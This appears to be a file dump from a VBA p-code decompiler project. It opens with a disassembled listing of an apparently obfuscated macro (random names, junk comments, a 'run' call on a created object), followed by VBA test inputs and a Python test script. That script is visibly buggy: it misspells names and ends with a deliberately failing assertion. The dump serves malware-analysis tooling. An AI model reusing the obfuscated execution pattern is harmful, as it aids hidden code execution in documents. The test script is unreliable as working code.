1996 | Line #200:
1997 | QuoteRem 0x0000 0x0013 " Momentarily canada"
1998 | Line #201:
1999 | Dim
2000 | VarDefn ayiZWSq
2001 | Line #202:
2002 | LitDI2 0x003A
2003 | UMi
2004 | FnAbs
2005 | St ayiZWSq
2006 | Line #203:
2007 | QuoteRem 0x0000 0x000A " Exploring"
2008 | Line #204:
2009 | SetStmt
2010 | New id_FFFF
2011 | Set a43g0xT
2012 | Line #205:
2013 | Dim
2014 | VarDefn aMhgD
2015 | Line #206:
2016 | StartForVariable
2017 | Ld aMhgD
2018 | EndForVariable
2019 | LitDI2 0x003D
2020 | LitDI2 0x0040
2021 | For
2022 | Line #207:
2023 | Debug
2024 | PrintObj
2025 | Ld aMhgD
2026 | ArgsLd Error 0x0001
2027 | PrintItemNL
2028 | Line #208:
2029 | StartForVariable
2030 | Ld aMhgD
2031 | EndForVariable
2032 | NextVar
2033 | Line #209:
2034 | QuoteRem 0x0000 0x0008 " Reprint"
2035 | Line #210:
2036 | Dim
2037 | VarDefn aA3GNx
2038 | Line #211:
2039 | LitDI2 0x0060
2040 | ArgsLd Hex 0x0001
2041 | St aA3GNx
2042 | Line #212:
2043 | Dim
2044 | VarDefn aHF3TqA
2045 | Line #213:
2046 | LitDI2 0x0009
2047 | FnFix
2048 | St aHF3TqA
2049 | Line #214:
2050 | QuoteRem 0x0000 0x0038 " Approximation frequent spiral completely museums movies"
2051 | Line #215:
2052 | Dim
2053 | VarDefn aC2nPv
2054 | Line #216:
2055 | LitDI2 0x00CE
2056 | ArgsLd Hex 0x0001
2057 | St aC2nPv
2058 | Line #217:
2059 | QuoteRem 0x0000 0x0013 " Requests bathrooms"
2060 | Line #218:
2061 | Dim
2062 | VarDefn apBMRSOcI
2063 | Line #219:
2064 | LitDI2 0x006A
2065 | ArgsLd Hex 0x0001
2066 | St apBMRSOcI
2067 | Line #220:
2068 | LitStr 0x0000 ""
2069 | St aNAZHn
2070 | Line #221:
2071 | Ld aNAZHn
2072 | ArgsLd IsNull 0x0001
2073 | St aq2In
2074 | Line #222:
2075 | Dim
2076 | VarDefn aZx38
2077 | Line #223:
2078 | LitDI2 0x0013
2079 | UMi
2080 | FnAbs
2081 | St aZx38
2082 | Line #224:
2083 | Ld ayUBnLK01
2084 | LitDI2 0x0000
2085 | Ld a43g0xT
2086 | ArgsMemCall run 0x0002
2087 | Line #225:
2088 | Dim
2089 | VarDefn aJqH7k
2090 | Line #226:
2091 | StartForVariable
2092 | Ld aJqH7k
2093 | EndForVariable
2094 | LitDI2 0x003D
2095 | LitDI2 0x0040
2096 | For
2097 | Line #227:
2098 | Debug
2099 | PrintObj
2100 | Ld aJqH7k
2101 | ArgsLd Error 0x0001
2102 | PrintItemNL
2103 | Line #228:
2104 | StartForVariable
2105 | Ld aJqH7k
2106 | EndForVariable
2107 | NextVar
2108 | Line #229:
2109 | QuoteRem 0x0000 0x0016 " Han affair xml mantua"
2110 | Line #230:
2111 | Dim
2112 | VarDefn aXERc
2113 | Line #231:
2114 | LitDI2 0x0002
2115 | FnFix
2116 | St aXERc
2117 | Line #232:
2118 | Dim
2119 | VarDefn aIOzbwd1a
2120 | Line #233:
2121 | LitDI2 0x0002
2122 | ArgsLd Exp 0x0001
2123 | St aIOzbwd1a
2124 | Line #234:
2125 | QuoteRem 0x0000 0x0012 " Positive bulgaria"
2126 | Line #235:
2127 | Line #236:
2128 | Dim
2129 | VarDefn aIOzbwd1a
2130 | Line #237:
2131 | LitDI2 0x000A
2132 | ArgsLd Exp 0x0001
2133 | St aIOzbwd1a
2134 | Line #238:
2135 | QuoteRem 0x0000 0x001C " Absorption til paths seller"
2136 | Line #239:
2137 | LitStr 0x0000 ""
2138 | St aBJVZ1
2139 | Line #240:
2140 | Ld aBJVZ1
2141 | ArgsLd IsNull 0x0001
2142 | St aKfmvc34
2143 | Line #241:
2144 | QuoteRem 0x0000 0x0023 " Concerns traditions rutland passer"
2145 | Line #242:
2146 | Dim
2147 | VarDefn aIaRFTmJw
2148 | Line #243:
2149 | LitDI2 0x002A
2150 | FnAbs
2151 | St aIaRFTmJw
2152 | Line #244:
2153 | Dim
2154 | VarDefn ajvsXAlok
2155 | Line #245:
2156 | LitDI2 0x002E
2157 | FnAbs
2158 | St ajvsXAlok
2159 | Line #246:
2160 | QuoteRem 0x0000 0x0008 " Sampson"
2161 | Line #247:
2162 | LitStr 0x0000 ""
2163 | St ajEOWNtYh
2164 | Line #248:
2165 | Ld ajEOWNtYh
2166 | ArgsLd IsNull 0x0001
2167 | St aq0PJEzo4
2168 | Line #249:
2169 | QuoteRem 0x0000 0x0013 " Canary possibility"
2170 | Line #250:
2171 | EndSub
2172 | Macros/VBA/anUX4 - 2752 bytes
2173 | Line #0:
2174 | FuncDefn (Sub UserForm())
2175 | Line #1:
2176 | Dim
2177 | VarDefn UserForm_Initialize
2178 | Line #2:
2179 | StartForVariable
2180 | Ld UserForm_Initialize
2181 | EndForVariable
2182 | LitDI2 0x003D
2183 | LitDI2 0x0040
2184 | For
2185 | Line #3:
2186 | Debug
2187 | PrintObj
2188 | Ld UserForm_Initialize
2189 | ArgsLd Error 0x0001
2190 | PrintItemNL
2191 | Line #4:
2192 | StartForVariable
2193 | Ld UserForm_Initialize
2194 | EndForVariable
2195 | NextVar
2196 | Line #5:
2197 | QuoteRem 0x0000 0x001B " Delhi speeds gesticulation"
2198 | Line #6:
2199 | Dim
2200 | VarDefn aobPr3gd
2201 | Line #7:
2202 | LitDI2 0x000B
2203 | ArgsLd Exp 0x0001
2204 | St aobPr3gd
2205 | Line #8:
2206 | QuoteRem 0x0000 0x0020 " Bonus touchstone ribbon cacique"
2207 | Line #9:
2208 | LitStr 0x0000 ""
2209 | St aQhnMuRf0
2210 | Line #10:
2211 | Ld aQhnMuRf0
2212 | ArgsLd IsNull 0x0001
2213 | St a83FtC
2214 | Line #11:
2215 | QuoteRem 0x0000 0x0007 " Thinks"
2216 | Line #12:
2217 | Dim
2218 | VarDefn asWApjoTr
2219 | Line #13:
2220 | LitDI2 0x0040
2221 | ArgsLd Hex 0x0001
2222 | St asWApjoTr
2223 | Line #14:
2224 | QuoteRem 0x0000 0x0024 " Llc hesitancy examples transmission"
2225 | Line #15:
2226 | Dim
2227 | VarDefn aMVH7
2228 | Line #16:
2229 | LitDI2 0x0004
2230 | FnAbs
2231 | St aMVH7
2232 | Line #17:
2233 | Dim
2234 | VarDefn ahXCm9
2235 | Line #18:
2236 | LitDI2 0x0036
2237 | ArgsLd Hex 0x0001
2238 | St ahXCm9
2239 | Line #19:
2240 | EndSub
2241 | Line #20:
2242 | FuncDefn (Public Sub asVWN())
2243 | Line #21:
2244 | Dim
2245 | VarDefn test
2246 | Line #22:
2247 | LitDI2 0x0010
2248 | FnFix
2249 | St test
2250 | Line #23:
2251 | QuoteRem 0x0000 0x000F " Situation harm"
2252 | Line #24:
2253 | Dim
2254 | VarDefn aytsj
2255 | Line #25:
2256 | LitDI2 0x0004
2257 | ArgsLd Exp 0x0001
2258 | St aytsj
2259 | Line #26:
2260 | QuoteRem 0x0000 0x0017 " Sans infringe employee"
2261 | Line #27:
2262 | EndSub
2263 |
--------------------------------------------------------------------------------
/tests/integration/more/input:
--------------------------------------------------------------------------------
1 | Option Compare Binary ' That is, "AAA" is less than "aaa".
2 | ' Declare an event at module level of a class module
3 | Event LogonCompleted(UserName As String)
4 | Enum SecurityLevel
5 | IllegalEntry = -1
6 | SecurityLevel1 = 0
7 | SecurityLevel2 = 1
8 | End Enum
9 | Type EmployeeRecord ' Create user-defined type.
10 | ID As Integer ' Define elements of data type.
11 | Name As String * 20
12 | Address As String * 30
13 | Phone As Long
14 | HireDate As Date
15 | End Type
16 | Dim CurrentColor As Integer
17 | Const BLACK = 0, RED = 1, GREEN = 2, BLUE = 3
18 | Sub CreateRecord()
19 | Dim MyRecord As EmployeeRecord ' Declare variable.
20 |
21 | ' Assignment to EmployeeRecord variable must occur in a procedure.
22 | MyRecord.ID = 12003 ' Assign a value to an element.
23 | End Sub
24 |
25 | Sub OnErrorStatementDemo()
26 | On Error GoTo ErrorHandler ' Enable error-handling routine.
27 | Open "TESTFILE" For Output As #1 ' Open file for output.
28 | Kill "TESTFILE" ' Attempt to delete open
29 | ' file.
30 | On Error GoTo 0 ' Turn off error trapping.
31 | On Error Resume Next ' Defer error trapping.
32 | ObjectRef = GetObject("MyWord.Basic") ' Try to start nonexistent
33 | ' object, then test for
34 | 'Check for likely Automation errors.
35 | If Err.Number = 440 Or Err.Number = 432 Then
36 | ' Tell user what happened. Then clear the Err object.
37 | Msg = "There was an error attempting to open the Automation object!"
38 | MsgBox Msg, , "Deferred Error Test"
39 | Err.Clear ' Clear Err object fields
40 | End If
41 | Exit Sub ' Exit to avoid handler.
42 | ErrorHandler: ' Error-handling routine.
43 | Select Case Err.Number ' Evaluate error number.
44 | Case 55 ' "File already open" error.
45 | Close #1 ' Close open file.
46 | Case Else
47 | ' Handle other situations here...
48 | End Select
49 | Resume ' Resume execution at same line
50 | ' that caused the error.
51 | End Sub
52 |
53 | Sub stopdemo()
54 | Dim i As Long
55 | For i = 1 To 10 ' Start For...Next loop.
56 | Debug.Print i ' Print i to the Immediate window.
57 | Stop ' Stop during each iteration.
58 | Next i
59 | End Sub
60 |
61 | Sub eventraisedemo()
62 | ' Raise the event.
63 | RaiseEvent LogonCompleted("AntoineJan")
64 | End Sub
65 |
66 | Sub demoWrite()
67 | Open "TESTFILE" For Output As #1 ' Open file for output.
68 | Write #1, "Hello World", 234 ' Write comma-delimited data.
69 | Write #1, ' Write blank line.
70 |
71 | Dim MyBool, MyDate, MyNull, MyError
72 | ' Assign Boolean, Date, Null, and Error values.
73 | MyBool = False: MyDate = #2/12/1969#: MyNull = Null
74 | MyError = CVErr(32767)
75 | ' Boolean data is written as #TRUE# or #FALSE#. Date literals are
76 | ' written in universal date format, for example, #1994-07-13#
77 | 'represents July 13, 1994. Null data is written as #NULL#.
78 | ' Error data is written as #ERROR errorcode#.
79 | Write #1, MyBool; " is a Boolean value"
80 | Write #1, MyDate; " is a date"
81 | Write #1, MyNull; " is a null value"
82 | Write #1, MyError; " is an error value"
83 | Close #1 ' Close file.
84 | End Sub
85 |
86 | Sub OnGosubGotoDemo()
87 | Dim Number, MyString
88 | Number = 2 ' Initialize variable.
89 | ' Branch to Sub2.
90 | On Number GoSub Sub1, Sub2 ' Execution resumes here after
91 | ' On...GoSub.
92 | On Number GoTo Line1, Line2 ' Branch to Line2.
93 | ' Execution does not resume here after On...GoTo.
94 | Exit Sub
95 | Sub1:
96 | MyString = "In Sub1": Return
97 | Sub2:
98 | MyString = "In Sub2": Return
99 | Line1:
100 | MyString = "In Line1"
101 | Line2:
102 | MyString = "In Line2"
103 | End Sub
104 |
105 |
106 | Property Get PenColor() As String
107 | Select Case CurrentColor
108 | Case RED
109 | PenColor = "Red"
110 | Case GREEN
111 | PenColor = "Green"
112 | Case BLUE
113 | PenColor = "Blue"
114 | End Select
115 | End Property
116 |
117 | Property Let PenColor(ColorName As String)
118 | Select Case ColorName ' Check color name string.
119 | Case "Red"
120 | CurrentColor = RED ' Assign value for Red.
121 | Case "Green"
122 | CurrentColor = GREEN ' Assign value for Green.
123 | Case "Blue"
124 | CurrentColor = BLUE ' Assign value for Blue.
125 | Case Else
126 | CurrentColor = BLACK ' Assign default value.
127 | End Select
128 | End Property
129 | Property Set Pen(P As Object)
130 | Set CurrentPen = P ' Assign Pen to object.
131 | End Property
132 | Sub debub()
133 | Private Const DefaultBufferSize& = 32768
134 | Private CRC_32_Tab(0 To 255) As Long
135 | Private CRC_32_Tab2(200, 255) As Long
136 | Dim tab_exemple()
137 | ReDim tab_exemple(2, 2)
138 | ReDim CRC_32_Tab(0 To 45)
139 |
140 |
141 | Dim MyVar
142 | MyVar = "Come see me in the Immediate pane."
143 | Debug.Print MyVar
144 |
145 | ' The following code sets the PenColor property for a drawing package
146 | ' by calling the Property let procedure.
147 |
148 | PenColor = "Red"
149 | ColorName = PenColor
150 | End Sub
151 |
152 |
153 |
--------------------------------------------------------------------------------
/tests/integration/more/more:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/more/more
--------------------------------------------------------------------------------
/tests/integration/more2/input:
--------------------------------------------------------------------------------
1 | Option Base 1 ' Set default array subscripts to 1.
2 |
3 | Type Record ' Define user-defined type.
4 | ID As Integer
5 | Name As String * 20
6 | End Type
7 |
8 | Sub sub1()
9 | Dim Lower
10 | Dim MyArray(20), TwoDArray(3, 4) ' Declare array variables.
11 | Dim ZeroArray(0 To 5) ' Override default base subscript.
12 | ' Use LBound function to test lower bounds of arrays.
13 | Lower = LBound(MyArray) ' Returns 1.
14 | Lower = LBound(TwoDArray, 2) ' Returns 1.
15 | Lower = LBound(ZeroArray) ' Returns 0.
16 | End Sub
17 |
18 | Sub sub2()
19 | Open "TESTFILE" For Binary Access Write Lock Write As #1
20 | ' Close before reopening in another mode.
21 | Close #1
22 | End Sub
23 |
24 | Sub sub3()
25 | Dim SearchString, SearchChar, MyPos
26 | SearchString = "XXpXXpXXPXXP" ' String to search in.
27 | SearchChar = "P" ' Search for "P".
28 |
29 | ' A textual comparison starting at position 4. Returns 6.
30 | MyPos = InStr(4, SearchString, SearchChar, 1)
31 |
32 | ' A binary comparison starting at position 1. Returns 9.
33 | MyPos = InStr(1, SearchString, SearchChar, 0)
34 |
35 | ' Comparison is binary by default (last argument is omitted).
36 | MyPos = InStr(SearchString, SearchChar) ' Returns 9.
37 |
38 | MyPos = InStr(1, SearchString, "W") ' Returns 0.
39 | End Sub
40 |
41 | Sub sub4()
42 | Dim MyPath
43 | MyPath = CurDir ' Returns "C:\WINDOWS\SYSTEM".
44 | MyPath = CurDir("C") ' Returns "C:\WINDOWS\SYSTEM".
45 | MyPath = CurDir("D") ' Returns "D:\EXCEL".
46 | End Sub
47 |
48 | Sub sub5()
49 | Dim X
50 | X = Dir("SomePath", MacID("TEXT"))
51 | End Sub
52 | ' Parameter rate is a ByVal parameter because the procedure should
53 | ' not change the value of the corresponding argument in the
54 | ' calling code.
55 |
56 | ' The calculated value of the debt parameter, however, should be
57 | ' reflected in the value of the corresponding argument in the
58 | ' calling code. Therefore, it must be declared ByRef.
59 | Sub Calculate(ByVal rate As Double, ByRef debt As Double)
60 | debt = debt + (debt * rate / 100)
61 | End Sub
62 |
63 | Sub Main()
64 | ' Two interest rates are declared, one a constant and one a
65 | ' variable.
66 | Const highRate As Double = 12.5
67 | Dim lowRate As Double
68 | lowRate = highRate * 0.6
69 |
70 | Dim initialDebt As Double
71 | initialDebt = 4999.99
72 | ' Make a copy of the original value of the debt.
73 | Dim debtWithInterest As Double
74 | debtWithInterest = initialDebt
75 |
76 | ' Calculate the total debt with the high interest rate applied.
77 | ' Argument highRate is a constant, which is appropriate for a
78 | ' ByVal parameter. Argument debtWithInterest must be a variable
79 | ' because the procedure will change its value to the calculated
80 | ' total with interest applied.
81 | Calculate highRate, debtWithInterest
82 | ' Format the result to represent currency, and display it.
83 |
84 | Dim debtString As String
85 | debtString = Format(debtWithInterest, "C")
86 | Debug.Print ("What I owe with high interest: " & debtString)
87 |
88 | ' Repeat the process with lowRate. Argument lowRate is not a
89 | ' constant, but the ByVal parameter protects it from accidental
90 | ' or intentional change by the procedure.
91 |
92 | ' Set debtWithInterest back to the original value.
93 | debtWithInterest = initialDebt
94 | Calculate lowRate, debtWithInterest
95 | debtString = Format(debtWithInterest, "C")
96 | Debug.Print ("What I owe with low interest: " & debtString)
97 |
98 |
99 | End Sub
100 | Sub sub6()
101 | Dim demoStr1, demoStr2 As String
102 | demoStr1 = "Hello"
103 | Rem Comment after a statement using REM.
104 | demoStr2 = "Goodbye" ' Comment after a statement using the ' character.
105 | Rem This entire line is a comment.
106 | ' This entire line is also a comment.
107 | End Sub
108 |
109 | Sub sub7()
110 | Dim MyString
111 | MyString = "0123456789" ' Initialize string.
112 | RSet MyString = "Right->" ' MyString contains " Right->".
113 | Dim MyString
114 | MyString = "0123456789" ' Initialize string.
115 | LSet MyString = "<-Left" ' MyString contains "<-Left ".
116 | Dim A, B, Check
117 | A = 5: B = 5 ' Initialize variables.
118 | Check = CBool(A = B) ' Check contains True.
119 |
120 | A = 0 ' Define variable.
121 | Check = CBool(A) ' Check contains False.
122 | Dim MyDouble, MyByte
123 | MyDouble = 125.5678 ' MyDouble is a Double.
124 | MyByte = CByte(MyDouble) ' MyByte contains 126.
125 | Dim MyDouble, MyCurr
126 | MyDouble = 543.214588 ' MyDouble is a Double.
127 | MyCurr = CCur(MyDouble * 2) ' Convert result of MyDouble * 2
128 | ' (1086.429176) to a
129 | ' Currency (1086.4292).
130 | Dim MyDate, MyShortDate, MyTime, MyShortTime
131 | MyDate = "February 12, 1969" ' Define date.
132 | MyShortDate = CDate(MyDate) ' Convert to Date data type.
133 |
134 | MyTime = "4:35:47 PM" ' Define time.
135 | MyShortTime = CDate(MyTime) ' Convert to Date data type.
136 | Dim MyCurr, MyDouble
137 | MyCurr = CCur(234.456784) ' MyCurr is a Currency.
138 | MyDouble = CDbl(MyCurr * 8.2 * 0.01) ' Convert result to a Double.
139 |
140 | Dim MyDecimal, MyCurr
141 | MyCurr = 10000000.0587 ' MyCurr is a Currency.
142 | MyDecimal = CDec(MyCurr) ' MyDecimal is a Decimal.
143 |
144 | Dim MyDouble, MyInt
145 | MyDouble = 2345.5678 ' MyDouble is a Double.
146 | MyInt = CInt(MyDouble) ' MyInt contains 2346.
147 |
148 | Dim MyVal1, MyVal2, MyLong1, MyLong2
149 | MyVal1 = 25427.45: MyVal2 = 25427.55 ' MyVal1, MyVal2 are Doubles.
150 | MyLong1 = CLng(MyVal1) ' MyLong1 contains 25427.
151 | MyLong2 = CLng(MyVal2) ' MyLong2 contains 25428.
152 |
153 | Dim MyDouble1, MyDouble2, MySingle1, MySingle2
154 | ' MyDouble1, MyDouble2 are Doubles.
155 | MyDouble1 = 75.3421115: MyDouble2 = 75.3421555
156 | MySingle1 = CSng(MyDouble1) ' MySingle1 contains 75.34211.
157 | MySingle2 = CSng(MyDouble2) ' MySingle2 contains 75.34216.
158 |
159 | Dim MyDouble, MyString
160 | MyDouble = 437.324 ' MyDouble is a Double.
161 | MyString = CStr(MyDouble) ' MyString contains "437.324".
162 |
163 |
164 | Dim MyInt, MyVar
165 | MyInt = 4534 ' MyInt is an Integer.
166 | MyVar = CVar(MyInt & 0) ' MyVar contains the string
167 | ' 4534000.
168 |
169 |
170 | End Sub
171 |
172 | Sub sub8()
173 | Dim MyDate
174 | MyDate = #2/12/1969#
175 | MyDate = #2/12/1970#
176 | MyDate = #2/12/1971#
177 | MyDate = #2/11/1969#
178 | MyDate = #2/10/1969#
179 | MyDate = #3/12/1969#
180 | MyDate = #4/12/1969#
181 | End Sub
182 |
183 | Sub sub9()
184 | Dim MyChar
185 | Open "TESTFILE" For Input As #1 ' Open file for reading.
186 | Do While Not EOF(1) ' Loop until end of file.
187 | MyChar = Input(1, #1) ' Read next character of data.
188 | Debug.Print Seek(1) ' Print byte position to the Immediate window.
189 | Loop
190 | Close #1 ' Close file.
191 |
192 | Sub sub10()
193 | Dim MyRecord As Record, RecordNumber ' Declare variables.
194 | ' Open sample file for random access.
195 | Open "TESTFILE" For Random Shared As #1 Len = Len(MyRecord)
196 | RecordNumber = 4 ' Define record number.
197 | Lock #1, RecordNumber ' Lock record.
198 | Get #1, RecordNumber, MyRecord ' Read record.
199 | MyRecord.ID = 234 ' Modify record.
200 | MyRecord.Name = "John Smith"
201 | Put #1, RecordNumber, MyRecord ' Write modified record.
202 | Unlock #1, RecordNumber ' Unlock current record.
203 | Close #1 ' Close file.
204 | End Sub
205 |
206 | Sub sub11()
207 | Dim MyString, FirstWord, LastWord, MidWords
208 | MyString = "Mid Function Demo" ' Create text string.
209 | FirstWord = Mid(MyString, 1, 3) ' Returns "Mid".
210 | LastWord = Mid(MyString, 14, 4) ' Returns "Demo".
211 | MidWords = Mid(MyString, 5) ' Returns "Function Demo".
212 |
213 | ' Assign Boolean, Date, Null and Error values.
214 | Dim MyBool, MyDate, MyNull, MyError
215 | MyBool = False: MyDate = #2/12/1969#: MyNull = Null
216 | MyError = CVErr(32767)
217 | ' True, False, Null, and Error are translated using locale settings of
218 | ' your system. Date literals are written using standard short date
219 | ' format.
220 | Print #1, MyBool; " is a Boolean value"
221 | Print #1, MyDate; " is a date"
222 | Print #1, MyNull; " is a null value"
223 | Print #1, MyError; " is an error value"
224 | Close #1 ' Close file.
225 |
226 | End Sub
227 |
228 | Sub sub12()
229 | Dim OldName, NewName
230 | OldName = "OLDFILE": NewName = "NEWFILE" ' Define file names.
231 | Name OldName As NewName ' Rename file.
232 | End Sub
233 |
--------------------------------------------------------------------------------
/tests/integration/more2/more2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/more2/more2
--------------------------------------------------------------------------------
/tests/integration/select_case/input:
--------------------------------------------------------------------------------
1 | Sub Exemple_Select_Case_conditions_numeriques()
2 | ' par Excel-Malin.com (https://excel-malin.com)
3 |
4 | 'Structure Select Case: valeurs numériques (paliers)
5 | ' = score du test
6 | x = Worksheets("Sheet1").Range("A1").Value
7 |
8 | 'évaluation du score
9 | Select Case x
10 | Case Is < 0
11 | MsgBox "Votre score est insuffisant!"
12 | Case 0 To 30
13 | MsgBox "Votre score est faible."
14 | Case 31 To 70
15 | MsgBox "Votre score est dans la moyenne."
16 | Case 71 To 100
17 | MsgBox "Votre score est au-dessus de la moyenne."
18 | Case Is > 100
19 | MsgBox "Votre score est exceptionnel!"
20 | Case Else
21 | MsgBox "Il y a un problème avec votre score..."
22 | End Select
23 |
24 | End Sub
25 |
--------------------------------------------------------------------------------
/tests/integration/select_case/select_case:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/select_case/select_case
--------------------------------------------------------------------------------
/tests/integration_tests2.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import sys
3 | import os
4 | import pcode2code
5 |
6 | class Processor():
7 |
8 | def check_output(self, input_, original):
9 | originallines = original.splitlines()
10 | splittedinput = input_.splitlines()
11 | lines=[]
12 | outputval = True
13 |
14 | # we parse each lines, and cut them by line blocks, to put them in "lines"
15 | for inputLine in splittedInput:
16 | inputLine = inputLine.strip()
17 | if inputLine.startswith('Line '):
18 | lines.append(inputLine.split(':')[1])
19 |
20 | if len(originallines) != len(lines):
21 | print '\t[!] Number of Lines differ'
22 | outputval = False
23 |
24 | i = 0
25 | defects = 0
26 |
27 | if len(originallines) > len(lines):
28 | for aline in lines:
29 | if aline != originallines[i].strip():
30 | if debug:
31 | print '\t[!] line ' + i + 'mismatch'
32 | print '\t\toriginal line: ' + originallines[i].strip()
33 | defects += 1
34 | i += 1
35 |
36 | if len(originallines) <= len(lines):
37 | for aline in originallines:
38 | if aline.strip() != lines[i]:
39 | if debug:
40 | print '\t[!] line ' + i + 'mismatch'
41 | print '\t\toriginal line: ' + aline.strip()
42 | defects += 1
43 | i += 1
44 |
45 | if defects > 0:
46 | print '\t[!] current mismatchs : ' + defects
47 | print '\t[!] score : ' + (defects*1.0)/i +'%'
48 | outputval = False
49 |
50 | return outputval
51 |
52 | def readfile(self, path):
53 | return open(path, 'r').read()
54 |
55 | def process_tests(self, path):
56 | subdirs = [x[0] for x in os.walk(path)]
57 | subdirs.remove('.')
58 | testsok = 0
59 | totaltests = 0
60 | for dir_ in subdirs:
61 | print '[+] processing ' + dir_
62 | outfile = pcode2code.process(self.readile(dir_ + '/' + dir_))
63 | #input_ = pcode2dmp.processinput(readfile(dir_ + '/input'))
64 | expectedfile = self.readfile(dir_ + '/expected')
65 | r = check_output(expectedfile, outputfile)
66 | if r:
67 | testsok +=1
68 | totaltests +=1
69 | print '[+] output: ' + testsok + '/' + totaltests +' tests succeeded'
70 |
71 |
72 |
73 | class TestOutput(unittest.TestCase):
74 |
75 | def __init__(self, *args, **kwargs):
76 | super(TestOutput, self).__init__(*args, **kwargs)
77 | self.processor = Processor()
78 |
79 | def testing(self):
80 | self.processor.process_tests('.')
81 | self.assertEqual(1,2)
82 |
83 |
84 |
85 | if __name__ == '__main__':
86 | unittest.main()
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/tests/output.txt:
--------------------------------------------------------------------------------
1 | ' Create a variable to hold number of Visual Basic forms loaded
2 | ' and visible.
3 | Dim I, OpenForms
4 | For I = 1 To 150000 ' Start loop.
5 | If I Mod 1000 = 0 Then ' If loop has repeated 1000 times.
6 | OpenForms = DoEvents ' Yield to operating system.
7 | End If
8 | Next I ' Increment loop counter.
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | Private Sub CommandButton1_Click()
17 | TextBox1 = "Texte 1"
18 | DoEvents
19 | For i = 1 To 50000000: Next
20 | TextBox2 = "Texte 2"
21 | DoEvents
22 | For i = 1 To 50000000: Next
23 | TextBox3 = "Texte 3"
24 | End Sub
25 |
26 |
27 |
28 | Option Explicit
29 |
30 | Private Sub Form_Load()
31 | Module1.FillListWithFonts List1
32 | End Sub
33 |
34 |
35 |
36 |
37 | 'Font enumeration types
38 | Public Const LF_FACESIZE = 32
39 | Public Const LF_FULLFACESIZE = 64
40 |
41 | Type LOGFONT
42 | lfHeight As Long
43 | lfWidth As Long
44 | lfEscapement As Long
45 | lfOrientation As Long
46 | lfWeight As Long
47 | lfItalic As Byte
48 | lfUnderline As Byte
49 | lfStrikeOut As Byte
50 | lfCharSet As Byte
51 | lfOutPrecision As Byte
52 | lfClipPrecision As Byte
53 | lfQuality As Byte
54 | lfPitchAndFamily As Byte
55 | lfFaceName(LF_FACESIZE) As Byte
56 | End Type
57 |
58 | Type NEWTEXTMETRIC
59 | tmHeight As Long
60 | tmAscent As Long
61 | tmDescent As Long
62 | tmInternalLeading As Long
63 | tmExternalLeading As Long
64 | tmAveCharWidth As Long
65 | tmMaxCharWidth As Long
66 | tmWeight As Long
67 | tmOverhang As Long
68 | tmDigitizedAspectX As Long
69 | tmDigitizedAspectY As Long
70 | tmFirstChar As Byte
71 | tmLastChar As Byte
72 | tmDefaultChar As Byte
73 | tmBreakChar As Byte
74 | tmItalic As Byte
75 | tmUnderlined As Byte
76 | tmStruckOut As Byte
77 | tmPitchAndFamily As Byte
78 | tmCharSet As Byte
79 | ntmFlags As Long
80 | ntmSizeEM As Long
81 | ntmCellHeight As Long
82 | ntmAveWidth As Long
83 | End Type
84 |
85 | ' ntmFlags field flags
86 | Public Const NTM_REGULAR = &H40&
87 | Public Const NTM_BOLD = &H20&
88 | Public Const NTM_ITALIC = &H1&
89 |
90 | ' tmPitchAndFamily flags
91 | Public Const TMPF_FIXED_PITCH = &H1
92 | Public Const TMPF_VECTOR = &H2
93 | Public Const TMPF_DEVICE = &H8
94 | Public Const TMPF_TRUETYPE = &H4
95 |
96 | Public Const ELF_VERSION = 0
97 | Public Const ELF_CULTURE_LATIN = 0
98 |
99 | ' EnumFonts Masks
100 | Public Const RASTER_FONTTYPE = &H1
101 | Public Const DEVICE_FONTTYPE = &H2
102 | Public Const TRUETYPE_FONTTYPE = &H4
103 |
104 | Declare Function EnumFontFamilies Lib "gdi32" Alias _
105 | "EnumFontFamiliesA" _
106 | (ByVal hDC As Long, ByVal lpszFamily As String, _
107 | ByVal lpEnumFontFamProc As Long, LParam As Any) As Long
108 | Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
109 | Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, _
110 | ByVal hDC As Long) As Long
111 |
112 | Function EnumFontFamProc(lpNLF As LOGFONT, lpNTM As NEWTEXTMETRIC, _
113 | ByVal FontType As Long, LParam As ListBox) As Long
114 | Dim FaceName As String
115 | Dim FullName As String
116 | FaceName = StrConv(lpNLF.lfFaceName, vbUnicode)
117 | LParam.AddItem Left$(FaceName, InStr(FaceName, vbNullChar) - 1)
118 | EnumFontFamProc = 1
119 | End Function
120 |
121 | Sub FillListWithFonts(LB As ListBox)
122 | Dim hDC As Long
123 | LB.Clear
124 | hDC = GetDC(LB.hWnd)
125 | EnumFontFamilies hDC, vbNullString, AddressOf EnumFontFamProc, LB
126 | ReleaseDC LB.hWnd, hDC
127 | End Sub
128 |
129 |
130 |
131 | Sub ClassNamer()
132 | Dim MyClasses As New Collection ' Create a Collection object.
133 | Dim Num ' Counter for individualizing keys.
134 | Dim Msg As String ' Variable to hold prompt string.
135 | Dim TheName, MyObject, NameList ' Variants to hold information.
136 | Do
137 | Dim Inst As New Class1 ' Create a new instance of Class1.
138 | Num = Num + 1 ' Increment Num, then get a name.
139 | Msg = "Please enter a name for this object." & vbNewLine _
140 | & "Press Cancel to see names in collection."
141 | TheName = InputBox(Msg, "Name the Collection Items")
142 | Inst.InstanceName = TheName ' Put name in object instance.
143 | ' If user entered name, add it to the collection.
144 | If Inst.InstanceName <> "" Then
145 | ' Add the named object to the collection.
146 | MyClasses.Add item := Inst, key := CStr(Num)
147 | End If
148 | ' Clear the current reference in preparation for next one.
149 | Set Inst = Nothing
150 | Loop Until TheName = ""
151 | For Each MyObject In MyClasses ' Create list of names.
152 | NameList = NameList & MyObject.InstanceName & vbNewLine
153 | Next MyObject
154 | ' Display the list of names in a message box.
155 | MsgBox NameList, , "Instance Names In MyClasses Collection"
156 |
157 | For Num = 1 To MyClasses.Count ' Remove name from the collection.
158 | MyClasses.Remove 1 ' Since collections are reindexed automatically, remove the first member on each iteration.
159 | Next
160 | End Sub
161 |
162 |
163 |
164 | Module Multiline
165 | Public Sub Main()
